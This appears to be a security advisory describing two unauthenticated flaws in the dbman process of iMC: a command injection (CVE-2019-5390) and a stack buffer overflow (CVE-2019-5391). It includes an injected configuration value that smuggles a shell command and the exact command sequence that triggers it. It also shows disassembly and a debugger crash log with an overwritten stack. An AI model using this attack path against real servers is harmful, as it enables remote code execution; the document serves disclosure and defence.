CVE-2019-5390: Unauthenticated Remote Command Injection in dbman
The dbman process (a component of iMC) defines command 10018 (hostRoleSwitch), which is used to set configuration variables PrimaryHost, BackupTime?, and BackHoseIp in dbman.conf. An unauthenticated attacker can use this command to inject other dbman.conf variables by appending those variables to the BackHoseIp value specified in the command request. For example, the attacker can specify BackHoseIp as '127.0.0.1\nPrimaryDbSaUserName1 = foo" -F & notepad.exe & "' to inject a malformed database user name. If the variable appears more than once in dbman.conf, the first instance will be used. Since the BackHoseIp variable appears relatively early in dbman.conf (the third variable after the Language and EnableDbman variables), the injected variables will overwrite any existing variables except Language and EnableDbman).
The attacker then issues a command 10000 (SendBakConfigFileReq) to reload dbman.conf with injected configuration variables. Finally the attacker issues a command 10002 (ManualBackupDBase). As part of the backup process, dbman attempts to access the database using DB credentials configured in dbman.conf. Because the attacker injected a command (notepad.exe) in PrimaryDbSaUserName1, the dbman issues 'cmd.exe /c osql -b -S,1433 -dmaster -U"foo" -F & notepad.exe & "" -P"" -n -o"C:\Program Files\iMC\dbman\bin\dbop.sql.log" -i"C:\Program Files\iMC\dbman\bin\dbop.sql"', resulting in notepad.exe being executed. Note that the above scenario applies when iMC is installed on Windows with SQLSERVER as the backend database server. It's reasonable to assume the exploit would still work (with some tweakings in configuration variable injections) for other iMC deployments, as dbman invokes the system() function in the runCommand() function.
CVE-2019-5391: Unauthenticated Remote Stack Buffer Overflow in dbman
An unauthenticated, remote attacker issues a command 10018 (hostRoleSwitch) with a long BackHoseIp field, resulting in the BackHoseIp configuration variable being written to dbman.conf. Each configuration line (variable name and value) is limited to 0x400 bytes (including the terminating NULL char):
[...snip...]
.text:00444726 push 400h
.text:0044472B lea ecx, [ebp+var_sb400_line]
.text:00444731 push ecx
.text:00444732 lea ecx, [ebp+var_fstream]
.text:00444738 call ds:?getline@?$basic_istream@DU?$char_traits@D@std@@@std@@QAEAAV12@PADH@Z ; std::basic_istream<char,std::char_traits<char>>::getline(char *,int)
.text:0044473E mov [ebp+var_55C], eax
.text:00444744 mov edx, [ebp+var_55C]
.text:0044474A mov eax, [edx]
.text:0044474C mov ecx, [ebp+var_55C]
.text:00444752 add ecx, [eax+4]
.text:00444755 call ds:??Bios_base@std@@QBEPAXXZ ; std::ios_base::operator void *(void)
.text:0044475B test eax, eax
.text:0044475D jz no_more_lines
[...snip...]
The attacker then issues a command 10000 (SendBakConfigFileReq) to reload dbman.conf with the long BackHoseIp variable. During dbman.conf reloading, the long BackHoseIp value (i.e., 0x3f2 bytes) is copied to a fixed-size stack buffer of 0x12c bytes:
[...snip...]
.text:00444DA7 mov edx, [ebp+var_psCfgItemValue]
.text:00444DAA push edx ; Source
.text:00444DAB mov eax, [ebp+arg_pOutbuf] ; stack-buf of 0x12c bytes
.text:00444DAE push eax ; Dest
.text:00444DAF call strcpy
[...snip...]
This can cause a stack buffer overflow:
0:008> g
STATUS_STACK_BUFFER_OVERRUN encountered
(3e24.3c34): Break instruction exception - code 80000003 (first chance)
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\iMC\dbman\bin\dbman.exe -
eax=00000000 ebx=00000000 ecx=0165efcc edx=0165ee91 esi=00000000 edi=004ca160
eip=7431a4cf esp=0165eff8 ebp=0165f084 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
KERNELBASE!UnhandledExceptionFilter+0x3d0af:
7431a4cf cc int 3
0:001> kb
# ChildEBP RetAddr Args to Child
00 0165f084 004a87b3 004ca160 0ebde030 f1421fcf KERNELBASE!UnhandledExceptionFilter+0x3d0af
WARNING: Stack unwind information not available. Following frames may be wrong.
01 0165f3b8 0044dedb 0165f64c 0165f64c 0165f668 dbman!std::_Init_locks::operator=+0xccb
02 0165fd38 41414141 41414141 41414141 41414141 dbman+0x4dedb
03 0165fd3c 41414141 41414141 41414141 41414141 0x41414141
04 0165fd40 41414141 41414141 41414141 41414141 0x41414141
05 0165fd44 41414141 41414141 41414141 41414141 0x41414141
06 0165fd48 41414141 41414141 41414141 41414141 0x41414141
[...snip...]
a8 0165ffd0 41414141 41414141 41414141 41414141 0x41414141
a9 0165ffd4 41414141 41414141 41414141 ff004141 0x41414141
aa 0165ffd8 41414141 41414141 ff004141 776662d7 0x41414141
ab 0165ffdc 41414141 ff004141 776662d7 00000000 0x41414141
ac 0165ffe0 ff004141 776662d7 00000000 00000000 0x41414141
ad 0165ffe4 776662d7 00000000 00000000 69e4345e 0xff004141
ae 0165ffe8 00000000 00000000 69e4345e 00f6ef40 ntdll!FinalExceptionHandlerPad7
And the !exploitable WinDbg extension command shows it's exploitable:
0:001> !exploitable
!exploitable 1.6.0.0
Exploitability Classification: EXPLOITABLE
Recommended Bug Title: Exploitable - Exception Handler Chain Corrupted starting at KERNELBASE!UnhandledExceptionFilter+0x000000000003d0af (Hash=0xdaf335ab.0x3924b8ee)
Corruption of the exception handler chain is considered exploitable